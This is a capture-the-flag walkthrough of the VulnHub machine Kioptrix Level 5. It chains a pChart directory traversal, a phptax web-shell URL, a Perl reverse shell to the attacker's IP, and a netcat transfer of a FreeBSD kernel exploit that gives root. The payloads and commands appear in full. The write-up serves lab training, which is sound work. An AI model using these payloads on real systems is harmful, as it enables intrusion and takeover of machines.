Kioptrix Level 5 (2015) - VulnHub Writeup

Setup

You will setup this machine similarly to previous machines in the Kioptrix series. Use this tutorial to install the VM onto Proxmox (https://benheater.com/proxmox-running-kioptrix-level-1/). Before you run the machine, you will need to change the network card as requested by the challenge author.

Select your newly created VM on Proxmox > Hardware > Click Network Device > Edit. Change the model of the network card. It used to be Realtek RTL8139 in my case, but I changed it to Intel E1000.

When you start the machine, you will boot to a screen asking for mountroot. You must enter "ufs:/dev/ada0p2" to continue. mountroot> ufs:/dev/ada0p2

Enumeration

Let's get the IP address of our machine.

Standard nmap enumeration:

pChart Path Traversal

Let's check the webpage on 10.0.1.107:

That's an interesting comment, does it lead somehwere? Also, what technologies power our server?

It seems whatweb followed the URL mentioned in the comment. Let's check that out:

Great, this looks quite old, let's try to find some public exploit to continue: https://www.exploit-db.com/exploits/31173. There are two public exploits: one for directory traversal and another one for XSS. In our case, directory traversal is more convenient:

Pretty easy, let's try to read /etc/passwd:

Now, let's try reading any important config files. We know that we are running Apache[2.2.21] from our enumeration inside a FreeBSD machine. Where is the Apache config stored based on this information? (https://docs-archive.freebsd.org/doc/11.4-RELEASE/usr/local/share/doc/freebsd/handbook/network-apache.html): /usr/local/etc/apache22/httpd.conf:

http://10.0.1.107/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf This stands out at the end:

From our enumeration, we know that port 8080 is also open with another HTTP service running. The Apache configuration tells us that if the User-Agent string starts with Mozilla/4.0, we can access this service. If we try entering http://10.0.1.107 without modifying our User Agent, we will receive a 403 Forbidden code. This is what I did to modify my User Agent on Firefox (source: https://superuser.com/questions/98798/how-do-i-change-firefoxs-user-agent-via-aboutconfig).

1. Navigate to about:config.
2. Type general.useragent.override and create the new property.
3. Enter a new User-Agent string starting with Mozilla/4.0 to access our service.

Now, we can access a new webpage: phptax

PHPTAX RCE to User Shell

Let's run this exploit manually: https://www.exploit-db.com/exploits/25849

First, let's create the webshell by visiting this URL: http://10.0.1.107:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

Then, we can easily run our commands by passing an argument: http://10.0.1.107:8080/phptax/data/rce.php?cmd=id

RCE success! Let's create a reverse shell now. I tried many reverse shells from revshells.com, and the Perl no sh was successful in giving me user access:

perl%20-MIO%20-e%20'$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.0.1.5:7777%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;'

└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.0.1.5] from (UNKNOWN) [10.0.1.107] 51499
whoami
www
/bin/bash

User to Root Access

Let's use a public exploit since we know the kernel version:

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

I found this: https://www.exploit-db.com/exploits/26368 I tried transferring the .c exploit using wget/curl paired with a Python HTTP server, but they aren't available on the machine. We have perl and nc available:

which wget
which curl
which perl
/usr/bin/perl
which nc
/usr/bin/nc

I tried transferring the file using perl but it didn't work:

perl -MLWP::Simple -e 'getstore("<http://10.0.1.5:8080/26368.c>", "26368.c")'

Let's try with nc then:

# kali
└─$ nc -lvnp 8888 < 26368.c
listening on [any] 8888 ...
connect to [10.0.1.5] from (UNKNOWN) [10.0.1.107] 53881

# victim
nc 10.0.1.5 8888 > 26368.c

# success!
ls -la
total 88
drwxrwxrwx   9 www  wheel   512 May 23 18:31 .
drwxrwxrwx   8 www  wheel   512 Mar 28  2014 ..
drwxrwxrwx  12 www  wheel   512 May  7  2003 1040
-rw-r--r--   1 www  wheel  2126 May 23 18:31 26368.c

Great! Let's compile and see if it works:

gcc 26368.c -o 26368
./26368
whoami
root

We have root!

That's actually pretty cool. I did make tons of noise...

cat httpd-access.log | grep 10.0.1.5 | wc -l
   37159
cat folderMonitor.log | wc -l
      20
cat ossec-alerts.log | grep "Src IP: 10.0.1.5" | wc -l
   36973

Overall, the Kioptrix series is great for getting started on pwning boot2rootmachines!